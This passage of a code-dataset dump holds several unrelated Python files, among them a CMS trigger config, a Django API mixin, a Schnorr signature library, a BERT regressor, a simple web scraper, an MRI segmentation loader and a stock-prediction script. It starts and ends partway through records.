elif(i==10):\r\n final_data[j][k][12][4] = div_data[i][j][k]\r\n elif(i==11):\r\n final_data[j][k][18][19] = div_data[i][j][k]\r\n elif(i==12):\r\n final_data[j][k][13][32] = div_data[i][j][k]\r\n elif(i==13):\r\n final_data[j][k][3][12] = div_data[i][j][k]\r\n elif(i==14):\r\n final_data[j][k][13][16] = div_data[i][j][k]\r\n elif(i==15):\r\n final_data[j][k][15][18] = div_data[i][j][k]\r\n elif(i==16):\r\n final_data[j][k][2][36] = div_data[i][j][k]\r\n elif(i==17):\r\n final_data[j][k][1][20] = div_data[i][j][k]\r\n\r\ncsv_data2 = pd.read_csv('grid_location.csv') \r\ncsv_data2 = np.array(csv_data2)\r\n\r\n\r\nfile_path1 = './grid_location.csv'\r\ndf_grid = pd.read_csv(file_path1,encoding = 'utf-8').drop(['Unnamed: 0'], 1)\r\ndf_grid.head()\r\n\r\nfile_path2 = './EPA_data.csv'\r\ndf14_air = pd.read_csv(file_path2,encoding='utf-8').drop(['Unnamed: 0'], 1)\r\ndf14_air.head()\r\n\r\nfile_path3 = './grid_version_op.npy'\r\narr = np.load(file_path3)\r\n\r\nprint(arr.shape)\r\n\r\nplt.imshow(arr[0][1])\r\nplt.show()\r\nplt.imshow(final_data[0][1])\r\nplt.show()\r\n\r\n","sub_path":"HW1/HW1-1.py","file_name":"HW1-1.py","file_ext":"py","file_size_in_byte":3471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"118163784","text":"import FWCore.ParameterSet.Config as cms\nimport os\n\nprocess = cms.Process(\"RPCTechnicalTrigger\")\n\nmaxevts = -1\n\nprocess.load(\"FWCore.MessageService.MessageLogger_cfi\")\nprocess.MessageLogger.categories = ['*']\nprocess.MessageLogger.destinations = ['cout']\nprocess.MessageLogger.cout = cms.untracked.PSet(\n \tthreshold = cms.untracked.string('DEBUG'),\n\tINFO = cms.untracked.PSet(\n limit = cms.untracked.int32(-1) ) )\n\n#.. Geometry\nprocess.load(\"Configuration.StandardSequences.Geometry_cff\")\n\n#.. Real data raw to digi\nprocess.load(\"Configuration.StandardSequences.RawToDigi_Data_cff\")\n\n#.. reconstruction sequence for Cosmics\nprocess.load(\"Configuration.StandardSequences.ReconstructionCosmics_cff\")\nprocess.load(\"Configuration.StandardSequences.MagneticField_cff\")\n\nprocess.maxEvents = cms.untracked.PSet( input = cms.untracked.int32(maxevts) )\n\nprocess.rpcTechnicalTrigger = cms.EDProducer('RPCTechnicalTrigger',\n UseDatabase = cms.untracked.int32(0),\n RPCDigiLabel = cms.InputTag(\"simMuonRPCDigis\"),\n BitNumbers=cms.vuint32(24,25,26,27,28),\n BitNames=cms.vstring('L1Tech_rpcBit1',\n 'L1Tech_rpcBit2',\n 'L1Tech_rpcBit3',\n 'L1Tech_rpcBit4',\n 'L1Tech_rpcBit5') )\n\nprocess.out = cms.OutputModule(\"PoolOutputModule\",\n fileName = cms.untracked.string('rpcttbits.root'),\n outputCommands = cms.untracked.vstring('drop *','keep L1GtTechnicalTriggerRecord_*_*_*') )\n\nprocess.p = cms.Path(process.rpcTechnicalTrigger)\n\nprocess.e = cms.EndPath(process.out)\n\n\n","sub_path":"L1Trigger/Tags/Validation/RPCTechnicalTrigger/test/lsfRelVal_cfg.py","file_name":"lsfRelVal_cfg.py","file_ext":"py","file_size_in_byte":1966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"319504214","text":"import json\n\nfrom django.core.exceptions import ObjectDoesNotExist\n\nfrom tastypie import http\nfrom tastypie.bundle import Bundle\nfrom tastypie.exceptions import ImmediateHttpResponse\nfrom tastypie.resources import Resource, ModelResource\n\nimport commonware.log\nfrom translations.fields import PurifiedField, TranslatedField\n\nlog = commonware.log.getLogger('z.api')\n\n\ndef list_url(name):\n return ('api_dispatch_list', {'resource_name': name})\n\n\ndef get_url(name, pk):\n return ('api_dispatch_detail', {'resource_name': name, 'pk': pk})\n\n\nclass Marketplace(object):\n \"\"\"\n A mixin with some general Marketplace stuff.\n \"\"\"\n\n def dispatch(self, request_type, request, **kwargs):\n # OAuth authentication uses the method in the signature. So we need\n # to store the original method used to sign the request.\n request.signed_method = request.method\n if 'HTTP_X_HTTP_METHOD_OVERRIDE' in request.META:\n request.method = request.META['HTTP_X_HTTP_METHOD_OVERRIDE']\n\n return (super(Marketplace, self)\n .dispatch(request_type, request, **kwargs))\n\n def form_errors(self, forms):\n errors = {}\n if not isinstance(forms, list):\n forms = [forms]\n for f in forms:\n if isinstance(f.errors, list): # Cope with formsets.\n for e in f.errors:\n errors.update(e)\n continue\n errors.update(dict(f.errors.items()))\n\n response = http.HttpBadRequest(json.dumps({'error_message': errors}),\n content_type='application/json')\n return ImmediateHttpResponse(response=response)\n\n\nclass MarketplaceResource(Marketplace, Resource):\n \"\"\"\n Use this if you would like to expose something that is *not* a Django\n model as an API.\n \"\"\"\n pass\n\n\nclass MarketplaceModelResource(Marketplace, ModelResource):\n \"\"\"Use this if you would like to expose a Django model as an API.\"\"\"\n\n def get_resource_uri(self, bundle_or_obj):\n # Fix until my pull request gets pulled into tastypie.\n # https://github.com/toastdriven/django-tastypie/pull/490\n kwargs = {\n 'resource_name': self._meta.resource_name,\n }\n\n if isinstance(bundle_or_obj, Bundle):\n kwargs['pk'] = bundle_or_obj.obj.pk\n else:\n kwargs['pk'] = bundle_or_obj.pk\n\n if self._meta.api_name is not None:\n kwargs['api_name'] = self._meta.api_name\n\n return self._build_reverse_url(\"api_dispatch_detail\", kwargs=kwargs)\n\n @classmethod\n def should_skip_field(cls, field):\n # We don't want to skip translated fields.\n if isinstance(field, (PurifiedField, TranslatedField)):\n return False\n\n return True if getattr(field, 'rel') else False\n\n def get_object_or_404(self, cls, **filters):\n \"\"\"\n A wrapper around our more familiar get_object_or_404, for when we need\n to get access to an object that isn't covered by get_obj.\n \"\"\"\n if not filters:\n raise ImmediateHttpResponse(response=http.HttpNotFound())\n try:\n return cls.objects.get(**filters)\n except (cls.DoesNotExist, cls.MultipleObjectsReturned):\n raise ImmediateHttpResponse(response=http.HttpNotFound())\n\n def get_by_resource_or_404(self, request, **kwargs):\n \"\"\"\n A wrapper around the obj_get to just get the object.\n \"\"\"\n try:\n obj = self.obj_get(request, **kwargs)\n except ObjectDoesNotExist:\n raise ImmediateHttpResponse(response=http.HttpNotFound())\n return obj\n\n\nclass CORSResource(object):\n \"\"\"\n A mixin to provide CORS support to your API.\n \"\"\"\n\n def method_check(self, request, allowed=None):\n \"\"\"\n This is the first entry point from dispatch and a place to check CORS.\n\n It will set a value on the request for the middleware to pick up on\n the response and add in the headers, so that any immediate http\n responses (which are usually errors) get the headers.\n \"\"\"\n request.CORS = allowed\n return super(CORSResource, self).method_check(request, allowed=allowed)\n","sub_path":"mkt/api/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":4239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"520314116","text":"#!/usr/bin/env python3\n\n# Copyright (C) 2017-2020 The btclib developers\n#\n# This file is part of btclib. It is subject to the license terms in the\n# LICENSE file found in the top-level directory of this distribution.\n#\n# No part of btclib including this file, may be copied, modified, propagated,\n# or distributed except according to the terms contained in the LICENSE file.\n\n\"\"\"Elliptic Curve Schnorr Signature Algorithm (ECSSA).\n\nImplementation according to bip-schnorr:\n\nhttps://github.com/sipa/bips/blob/bip-schnorr/bip-schnorr.mediawiki.\n\"\"\"\n\nimport heapq\nimport random\nfrom typing import List, Optional, Sequence, Tuple\nfrom hashlib import sha256\n\nfrom .curve import Curve, Point, _JacPoint\nfrom .curves import secp256k1\nfrom .curvemult import (_double_mult, _jac_from_aff, _mult_jac,\n _multi_mult, double_mult, mult)\nfrom .numbertheory import legendre_symbol, mod_inv\nfrom .rfc6979 import rfc6979\nfrom .utils import HashF, int_from_bits, octets_from_int, octets_from_point\n\nECSS = Tuple[int, int] # Tuple[field element, scalar]\n\n\ndef _ensure_msg_size(msg: bytes, hf: HashF = sha256) -> None:\n if len(msg) != hf().digest_size:\n errmsg = f'message of wrong size: {len(msg)}'\n errmsg += f' instead of {hf().digest_size} bytes'\n raise ValueError(errmsg)\n\n\ndef _e(r: int, P: Point, mhd: bytes, ec: Curve = secp256k1, hf: HashF = sha256) -> int:\n # Let e = int(hf(bytes(x(R)) || bytes(dG) || mhd)) mod n.\n h = hf()\n h.update(octets_from_int(r, ec.psize))\n h.update(octets_from_point(P, True, ec))\n h.update(mhd)\n e = int_from_bits(h.digest(), ec)\n return e\n\n\ndef sign(mhd: bytes, d: int, k: Optional[int] = None,\n ec: Curve = secp256k1, hf: HashF = sha256) -> ECSS:\n \"\"\"ECSSA signing operation according to bip-schnorr.\n\n This signature scheme supports only 32-byte messages.\n Differently from ECDSA, the 32-byte message can be a\n digest of other messages, but it does not need to.\n \"\"\"\n\n # the bitcoin proposed standard is only valid for curves\n # whose prime p = 3 % 4\n if not ec.pIsThreeModFour:\n errmsg = 'curve prime p must be equal to 3 (mod 4)'\n raise ValueError(errmsg)\n\n # The message mhd: a 32-byte array\n _ensure_msg_size(mhd, hf)\n\n # The secret key d: an integer in the range 1..n-1.\n if not 0 < d < ec.n:\n raise ValueError(f\"private key {hex(d)} not in [1, n-1]\")\n P = mult(d, ec.G, ec)\n\n # Fail if k' = 0.\n if k is None:\n k = rfc6979(mhd, d, ec, hf)\n if not 0 < k < ec.n:\n raise ValueError(f\"ephemeral key {hex(k)} not in [1, n-1]\")\n\n # Let R = k'G.\n RJ = _mult_jac(k, ec.GJ, ec)\n\n # break the simmetry: any criteria might have been used,\n # jacobi is the proposed bitcoin standard\n # Let k = k' if jacobi(y(R)) = 1, otherwise let k = n - k'.\n if legendre_symbol(RJ[1]*RJ[2] % ec._p, ec._p) != 1:\n k = ec.n - k\n\n Z2 = RJ[2]*RJ[2]\n r = (RJ[0]*mod_inv(Z2, ec._p)) % ec._p\n\n # Let e = int(hf(bytes(x(R)) || bytes(dG) || mhd)) mod n.\n e = _e(r, P, mhd, ec, hf)\n\n s = (k + e*d) % ec.n # s=0 is ok: in verification there is no inverse of s\n # The signature is bytes(x(R) || bytes((k + ed) mod n)).\n return r, s\n\n\ndef verify(mhd: bytes, P: Point, sig: ECSS,\n ec: Curve = secp256k1, hf: HashF = sha256) -> bool:\n \"\"\"ECSSA signature verification according to bip-schnorr.\"\"\"\n\n # try/except wrapper for the Errors raised by _verify\n try:\n return _verify(mhd, P, sig, ec, hf)\n except Exception:\n return False\n\n\ndef _verify(mhd: bytes, P: Point, sig: ECSS,\n ec: Curve = secp256k1, hf: HashF = sha256) -> bool:\n # Private function for test/dev purposes\n # It raises Errors, while verify should always return True or False\n\n # the bitcoin proposed standard is only valid for curves\n # whose prime p = 3 % 4\n if not ec.pIsThreeModFour:\n errmsg = 'curve prime p must be equal to 3 (mod 4)'\n raise ValueError(errmsg)\n\n # Let r = int(sig[ 0:32]).\n # Let s = int(sig[32:64]); fail if s is not [0, n-1].\n r, s = _to_sig(sig, ec)\n\n # The message mhd: a 32-byte array\n _ensure_msg_size(mhd, hf)\n\n # Let P = point(pk); fail if point(pk) fails.\n ec.require_on_curve(P)\n if P[1] == 0:\n raise ValueError(\"public key is infinite\")\n\n # Let e = int(hf(bytes(r) || bytes(P) || mhd)) mod n.\n e = _e(r, P, mhd, ec, hf)\n\n # Let R = sG - eP.\n # in Jacobian coordinates\n R = _double_mult(-e, (P[0], P[1], 1), s, ec.GJ, ec)\n\n # Fail if infinite(R).\n if R[2] == 0:\n raise ValueError(\"sG - eP is infinite\")\n\n # Fail if jacobi(R.y) ≠ 1.\n if legendre_symbol(R[1]*R[2] % ec._p, ec._p) != 1:\n raise ValueError(\"(sG - eP).y is not a quadratic residue\")\n\n # Fail if R.x ≠ r.\n return R[0] == (R[2]*R[2]*r % ec._p)\n\n\ndef _pubkey_recovery(e: int, sig: ECSS,\n ec: Curve = secp256k1, hf: HashF = sha256) -> Point:\n # Private function provided for testing purposes only.\n # TODO: use _double_mult instead of double_mult\n\n r, s = _to_sig(sig, ec)\n\n K = r, ec.y_quadratic_residue(r, True)\n # FIXME: y_quadratic_residue in Jacobian coordinates?\n\n if e == 0:\n raise ValueError(\"invalid (zero) challenge e\")\n e1 = mod_inv(e, ec.n)\n P = double_mult(-e1, K, e1*s, ec.G, ec)\n assert P[1] != 0, \"how did you do that?!?\"\n return P\n\n\ndef _to_sig(sig: ECSS, ec: Curve = secp256k1) -> ECSS:\n # check that the SSA signature is correct\n # and return the signature itself\n\n # A signature sig: a 64-byte array.\n if len(sig) != 2:\n mhd = f\"invalid length {len(sig)} for ECSSA signature\"\n raise TypeError(mhd)\n\n # Let r = int(sig[ 0:32]).\n r = int(sig[0])\n\n # Let s = int(sig[32:64]); fail if s is not [0, n-1].\n s = int(sig[1])\n if not 0 <= s < ec.n:\n raise ValueError(f\"s ({hex(s)}) not in [0, n-1]\")\n\n return r, s\n\n\ndef batch_verify(ms: Sequence[bytes], P: Sequence[Point], sig: Sequence[ECSS],\n ec: Curve = secp256k1, hf: HashF = sha256) -> bool:\n \"\"\"ECSSA batch signature verification according to bip-schnorr.\"\"\"\n\n # try/except wrapper for the Errors raised by _batch_verify\n try:\n return _batch_verify(ms, P, sig, ec, hf)\n except Exception:\n return False\n\n\ndef _batch_verify(ms: Sequence[bytes], P: Sequence[Point], sig: Sequence[ECSS],\n ec: Curve = secp256k1, hf: HashF = sha256) -> bool:\n\n # the bitcoin proposed standard is only valid for curves\n # whose prime p = 3 % 4\n if not ec.pIsThreeModFour:\n errmsg = 'curve prime p must be equal to 3 (mod 4)'\n raise ValueError(errmsg)\n\n batch_size = len(P)\n if len(ms) != batch_size:\n errMsg = f\"mismatch between number of pubkeys ({batch_size}) \"\n errMsg += f\"and number of messages ({len(ms)})\"\n raise ValueError(errMsg)\n if len(sig) != batch_size:\n errMsg = f\"mismatch between number of pubkeys ({batch_size}) \"\n errMsg += f\"and number of signatures ({len(sig)})\"\n raise ValueError(errMsg)\n\n if batch_size == 1:\n return _verify(ms[0], P[0], sig[0], ec, hf)\n\n t = 0\n scalars: List[int] = list()\n points: List[_JacPoint] = list()\n for i in range(batch_size):\n r, s = _to_sig(sig[i], ec)\n _ensure_msg_size(ms[i], hf)\n ec.require_on_curve(P[i])\n e = _e(r, P[i], ms[i], ec, hf)\n # raises an error if y does not exist\n # no need to check for quadratic residue\n y = ec.y(r)\n\n # a in [1, n-1]\n # deterministically generated using a CSPRNG seeded by a\n # cryptographic hash (e.g., SHA256) of all inputs of the\n # algorithm, or randomly generated independently for each\n # run of the batch verification algorithm\n a = (1 if i == 0 else (1+random.getrandbits(ec.nlen)) % ec.n)\n scalars.append(a)\n points.append(_jac_from_aff((r, y)))\n scalars.append(a * e % ec.n)\n points.append(_jac_from_aff(P[i]))\n t += a * s\n\n TJ = _mult_jac(t, ec.GJ, ec)\n RHSJ = _multi_mult(scalars, points, ec)\n\n # return T == RHS, checked in Jacobian coordinates\n RHSZ2 = RHSJ[2] * RHSJ[2]\n TZ2 = TJ[2] * TJ[2]\n if (TJ[0] * RHSZ2) % ec._p != (RHSJ[0] * TZ2) % ec._p:\n return False\n\n return (TJ[1] * RHSZ2 * RHSJ[2]) % ec._p == (RHSJ[1] * TZ2 * TJ[2]) % ec._p\n","sub_path":"btclib/ssa.py","file_name":"ssa.py","file_ext":"py","file_size_in_byte":8406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"276983237","text":"import numpy as np\n\nfrom .bert import get_decay_power\nfrom .._base_._base_regressor import RegressorModule, RegDecoder\nfrom ..bert.bert import BERTEncoder, BERTConfig\nfrom ...token import WordPieceTokenizer\nfrom ...third import tf\nfrom ... import com\n\n\nclass BERTRegressor(RegressorModule):\n \"\"\" Regressor on BERT. \"\"\"\n\n _INFER_ATTRIBUTES = { # params whose value cannot be None in order to infer without training\n \"max_seq_length\": \"An integer that defines max sequence length of input tokens\",\n \"init_checkpoint\": \"A string that directs to the checkpoint file used for initialization\",\n }\n\n def __init__(\n self,\n config_file,\n vocab_file,\n max_seq_length=128,\n label_size=None,\n init_checkpoint=None,\n output_dir=None,\n gpu_ids=None,\n do_lower_case=True,\n truncate_method=\"LIFO\",\n ):\n self.__init_args__ = locals()\n super(RegressorModule, self).__init__(init_checkpoint, output_dir, gpu_ids)\n\n self.max_seq_length = max_seq_length\n self.label_size = label_size\n self.truncate_method = truncate_method\n\n self.bert_config = BERTConfig.from_json_file(config_file)\n self.tokenizer = WordPieceTokenizer(vocab_file, do_lower_case)\n self.decay_power = get_decay_power(self.bert_config.num_hidden_layers)\n\n if \"[CLS]\" not in self.tokenizer.vocab:\n self.tokenizer.add(\"[CLS]\")\n self.bert_config.vocab_size += 1\n tf.logging.info(\"Add necessary token `[CLS]` into vocabulary.\")\n if \"[SEP]\" not in self.tokenizer.vocab:\n self.tokenizer.add(\"[SEP]\")\n self.bert_config.vocab_size += 1\n tf.logging.info(\"Add necessary token `[SEP]` into vocabulary.\")\n\n def convert(self, X=None, y=None, sample_weight=None, X_tokenized=None, is_training=False, is_parallel=False):\n self._assert_legal(X, y, sample_weight, X_tokenized)\n\n if is_training:\n assert y is not None, \"`y` can't be None.\"\n if is_parallel:\n assert self.label_size, \"Can't parse data on multi-processing when `label_size` is None.\"\n\n n_inputs = None\n data = {}\n\n # convert X\n if X is not None or X_tokenized is not None:\n tokenized = False if X is not None else X_tokenized\n input_ids, input_mask, segment_ids = self._convert_X(X_tokenized if tokenized else X, tokenized=tokenized)\n data[\"input_ids\"] = np.array(input_ids, dtype=np.int32)\n data[\"input_mask\"] = np.array(input_mask, dtype=np.int32)\n data[\"segment_ids\"] = np.array(segment_ids, dtype=np.int32)\n n_inputs = len(input_ids)\n\n if n_inputs < self.batch_size:\n self.batch_size = max(n_inputs, len(self._gpu_ids))\n\n # convert y\n if y is not None:\n label_floats = self._convert_y(y)\n data[\"label_floats\"] = np.array(label_floats, dtype=np.float32)\n\n # convert sample_weight\n if is_training or y is not None:\n sample_weight = self._convert_sample_weight(sample_weight, n_inputs)\n data[\"sample_weight\"] = np.array(sample_weight, dtype=np.float32)\n\n return data\n\n def _convert_X(self, X_target, tokenized):\n\n # tokenize input texts\n segment_inputs = []\n for idx, sample in enumerate(X_target):\n try:\n segment_inputs.append(self._convert_x(sample, tokenized))\n except Exception as e:\n raise ValueError(\n \"Wrong input format (%s): %s. An untokenized \"\n \"example: X = [\\\"I bet she will win.\\\", ...]\"\n % (sample, e)\n )\n\n input_ids = []\n input_mask = []\n segment_ids = []\n for idx, segments in enumerate(segment_inputs):\n _input_tokens = [\"[CLS]\"]\n _input_ids = []\n _input_mask = [1]\n _segment_ids = [0]\n\n com.truncate_segments(segments, self.max_seq_length - len(segments) - 1, truncate_method=self.truncate_method)\n for s_id, segment in enumerate(segments):\n _segment_id = min(s_id, 1)\n _input_tokens.extend(segment + [\"[SEP]\"])\n _input_mask.extend([1] * (len(segment) + 1))\n _segment_ids.extend([_segment_id] * (len(segment) + 1))\n\n _input_ids = self.tokenizer.convert_tokens_to_ids(_input_tokens)\n\n # padding\n for _ in range(self.max_seq_length - len(_input_ids)):\n _input_ids.append(0)\n _input_mask.append(0)\n _segment_ids.append(0)\n\n input_ids.append(_input_ids)\n input_mask.append(_input_mask)\n segment_ids.append(_segment_ids)\n\n return (input_ids, input_mask, segment_ids)\n\n def _set_placeholders(self, **kwargs):\n self.placeholders = {\n \"input_ids\": tf.placeholder(tf.int32, [None, self.max_seq_length], \"input_ids\"),\n \"input_mask\": tf.placeholder(tf.int32, [None, self.max_seq_length], \"input_mask\"),\n \"segment_ids\": tf.placeholder(tf.int32, [None, self.max_seq_length], \"segment_ids\"),\n \"label_floats\": tf.placeholder(tf.float32, [None, self.label_size], \"label_floats\"),\n \"sample_weight\": tf.placeholder(tf.float32, [None], \"sample_weight\"),\n }\n\n def _forward(self, is_training, placeholders, **kwargs):\n\n encoder = BERTEncoder(\n bert_config=self.bert_config,\n is_training=is_training,\n input_ids=placeholders[\"input_ids\"],\n input_mask=placeholders[\"input_mask\"],\n segment_ids=placeholders[\"segment_ids\"],\n **kwargs,\n )\n encoder_output = encoder.get_pooled_output()\n decoder = RegDecoder(\n is_training=is_training,\n input_tensor=encoder_output,\n label_floats=placeholders[\"label_floats\"],\n label_size=self.label_size,\n sample_weight=placeholders.get(\"sample_weight\"),\n scope=\"reg\",\n **kwargs,\n )\n train_loss, tensors = decoder.get_forward_outputs()\n return train_loss, tensors\n","sub_path":"uf/apps/bert/bert_regressor.py","file_name":"bert_regressor.py","file_ext":"py","file_size_in_byte":6251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"106628644","text":"\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport turtle as tr\nimport random as rn\n\n\ntr.shape('circle')\ntr.speed(0)\nx=-300\ny=0\nk=0.05\ntr.goto(300,-1)\ntr.width(2)\ntr.down()\ntr.goto(x,-1)\ntr.width(1)\neta=0.9\ng=9.81\ndt=0.1\nvx=30\nvy=70\nfor i in range(2000):\n x+=vx*dt\n y+=vy*dt\n if y<0:\n vy=-eta*vy+2*g*dt\n else:\n vy-=g*dt+k*vy*dt\n vx-=k*vx*dt\n tr.goto(x,y)\n\n\n\n\n\n\n\n#tr.hideturtle()","sub_path":"lab2/laba2_3.py","file_name":"laba2_3.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"143184775","text":"\n\n#calss header\nclass _FLAMENCO():\n\tdef __init__(self,): \n\t\tself.name = \"FLAMENCO\"\n\t\tself.definitions = [u'a type of Spanish dance music, or the dance performed to this music: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_flamenco.py","file_name":"_flamenco.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"515802654","text":"from urllib.request import urlopen\nfrom bs4 import BeautifulSoup\n\nmy_url = 'http://mksclicks.com/videos.php'\n\n# opening up connection and grabbing the html data\nconnection = urlopen(my_url)\npage_html = connection.read()\nconnection.close()\n\n\n# html parsing\npage_soup = BeautifulSoup(page_html, \"html.parser\")\ncontainers = page_soup.findAll(\"div\", {\"class\": \"col_one_third\"})\nprint(len(containers))\n\n\n# extracting the video link and location of shooting\nfor container in containers:\n link = container.div.div.iframe[\"src\"]\n print(link.lstrip('/'))\n title_container = container.findAll(\"div\", {\"class\": \"fbox-desc\"})\n title = title_container[0].h3.span.text.strip()\n print(title)\n\n\n\n","sub_path":"webcrawler.py","file_name":"webcrawler.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"20636738","text":"import argparse\nimport asyncio\nfrom cryptos.script_utils import get_coin, coin_list\n\n\nasync def print_block_bits(start: int, end: int, coin_symbol: str, testnet: bool):\n c = get_coin(coin_symbol, testnet=testnet)\n try:\n for i in range(start, end):\n block = await c.block_header(i)\n bits = block['bits']\n text = f'Block {i}: {bits}'\n if bits != 486604799:\n text = f'\\033[1;3m{text}\\033[0m'\n print(text)\n finally:\n await c.close()\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"start\", help=\"First block height\", type=int)\n parser.add_argument(\"end\", help=\"Final block height\", type=int)\n parser.add_argument(\"-x\", \"--coin\", help=\"Coin\", choices=coin_list, default=\"btc\")\n parser.add_argument(\"-t\", \"--testnet\", help=\"For testnet\", action=\"store_true\")\n args = parser.parse_args()\n asyncio.run(print_block_bits(args.start, args.end, coin_symbol=args.coin, testnet=args.testnet))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"crypto_scripts/get_block_sizes.py","file_name":"get_block_sizes.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"188614096","text":"import os\nimport sys\nimport glob\nimport tqdm\n\nROOT_DIR = os.path.abspath('../../')\n#import Mask RCNN\nsys.path.append(ROOT_DIR)\nfrom mrcnn.config import Config\nfrom mrcnn import utils\nimport mrcnn.model as modellib\nfrom mrcnn import visualize\n\nfrom callbacks import getCallbacks\nfrom params import getParams\n\nimport numpy as np\nimport nibabel as nib\nfrom medpy.io import load\nimport skimage.color\nimport skimage.io as io\n#Get argument from command line\n# parser = argparse.ArgumentParser()\n# parser.add_argument('--exp', required=True,\n# help='Experiments name, to save weights and logs')\n\n# args = parser.parse_args()\n# exp_name = args.exp\n\n#get parameters\n# params = getParams(exp_name)\n\nclass BrainSegConfig(Config):\n name = 'MRI'\n GPU_COUNT = 1\n IMAGES_PER_GPU = 8\n\n BACKBONE = 'resnet50'\n\n NUM_CLASSES = 1 + 1 #background + 1 shape\n\n IMAGE_MIN_DIM = 256\n IMAGE_MAX_DIM = 256\n\n #check if 1 or 2\n MAX_GT_INSTANCES = 1\n\n DETECTION_MAX_INSTANCES = 1\n\n #mejorar\n STEPS_PER_EPOCH = 202\n TRAIN_ROIS_PER_IMAGE = 32\n MAX_GT_INSTANCES = 1\n DETECTION_MAX_INSTANCES = 3\n DETECTION_MIN_CONFIDENCE = 0.8\n DETECTION_NMS_THRESHOLD = 0.2\n\nclass BrainDataset(utils.Dataset):\n \"\"\"\n Reads the dataset images and masks, and prepares them\n for the model\n \"\"\"\n # values must be between 0 and 255\n def __normalize0_255(self, img_slice):\n rows, cols = img_slice.shape\n new_img = np.zeros((rows, cols))\n max_val = np.max(img_slice)\n\n for i in range(rows):\n for j in range(rows):\n new_img[i,j] = int((\n float(img_slice[i,j])/float(max_val))\n * 255)\n return new_img\n\n def load_brain_data(self, images_dir, masks_dir):\n self.add_class('MRI', 1, 'brain')\n\n image_glob = sorted(glob.glob(images_dir))\n mask_glob = sorted(glob.glob(masks_dir))\n img_id = 0\n for i in tqdm.trange(len(image_glob), desc='loading data'):\n img_path = image_glob[i]\n mask_path = mask_glob[i]\n\n img_slices = nib.load(image_glob[i])\n mask_slices = nib.load(mask_glob[i])\n img_slices = img_slices.get_fdata()\n mask_slices = mask_slices.get_fdata()\n\n for j in range(img_slices.shape[-1]):\n img = np.array(img_slices[:,:,j])\n mask = np.array(mask_slices[:,:,j])\n\n # skip images that are not 256x256\n if img.shape[0] != 256 or img.shape[1] != 256:\n break\n\n # Normalize image so its between 0-255\n new_img = self.__normalize0_255(img)\n new_img = skimage.color.gray2rgb(new_img)\n\n # img = new_img[..., np.newaxis]\n mask = mask[..., np.newaxis]\n mask = np.array(mask, dtype=np.uint16) * 255\n\n new_img = np.array(new_img, dtype=np.uint16)\n\n self.add_image('MRI',\n image_id=img_id,\n path=img_path,\n mask_path=mask_path,\n image=new_img,\n mask=mask,\n width=256,\n height=256)\n\n img_id += 1\n\n def load_image(self, image_id):\n return self.image_info[image_id]['image']\n\n def load_mask(self, image_id):\n mask = self.image_info[image_id]['mask']\n return mask, np.ones([1]).astype(np.int32)\n\n def image_reference(self, image_id):\n \"\"\"Return the shapes data of the image.\"\"\"\n return self.image_info[image_id]\n\n\nconfig = BrainSegConfig()\n\ndataset_train = BrainDataset()\ndataset_train.load_brain_data('../../data/train/axial_only/vis_img/*','../../data/train/axial_only/vis_mask/*')\ndataset_train.prepare()\n\nfor i in range(len(dataset_train.image_ids)):\n image = dataset_train.load_image(i)\n mask, _ = dataset_train.load_mask(i)\n\n save_path = '../../data/vis/'\n\n print(image.shape)\n print(type(image))\n print(mask.shape)\n print(type(mask))\n image = image[:,:,0]\n print(image.shape)\n io.imsave(os.path.join(save_path,\"%d_img.png\"%i), image)\n io.imsave(os.path.join(save_path,\"%d_msk.png\"%i), np.squeeze(mask))\n","sub_path":"models/Mask_RCNN_backup/vis_test.py","file_name":"vis_test.py","file_ext":"py","file_size_in_byte":4275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"572009108","text":"\"\"\"\nImprovement plans: Get the error rate and using that come up with the range that the HLC can take.\n\"\"\"\nimport numpy as np\nimport pandas as pd\n\nN = 60\ntoday_open_price = 2230\n\ndf = pd.read_csv('../data/stock_data.csv')\ndf = df.iloc[-N:]\ndf.drop(['Date', 'Symbol', 'Series', 'Prev Close', 'Last', 'Turnover', 'Trades', '%Deliverble'], axis=1, inplace=True)\n\nOpen_df = df[['Open']]\nOpen_df = Open_df.iloc[1:,] # Delete the first row\n\nOpen_df.loc[N-1] = today_open_price\ndf['Open_tomorrow'] = Open_df.values\n\n# Scale our data with the scalers we trained with\nfrom sklearn.preprocessing import MinMaxScaler\nimport pickle\n\nwith open('../data/price_scaler.pkl', 'rb') as f:\n price_scaler = pickle.load(f)\n\nwith open('../data/vol_scaler.pkl', 'rb') as f:\n vol_scaler = pickle.load(f)\n\nprice_columns = ['Open', 'High', 'Low', 'Close', 'VWAP', 'Open_tomorrow']\nvolume_columns = ['Volume', 'Deliverable Volume']\ndf[price_columns] = price_scaler.transform(df[price_columns])\ndf[volume_columns] = vol_scaler.transform(df[volume_columns])\n\n# Building the RNN\nfrom keras.models import load_model\nregressor = load_model('../data/model.hdf5')\n\nX_test = df.values\nX_test = np.reshape(X_test, (1, X_test.shape[0], X_test.shape[1]))\npredicted_set = regressor.predict(X_test)\nprint(predicted_set)\nprint(type(predicted_set))\n\nHigh = predicted_set[0][0]\nLow = predicted_set[0][1]\nClose = 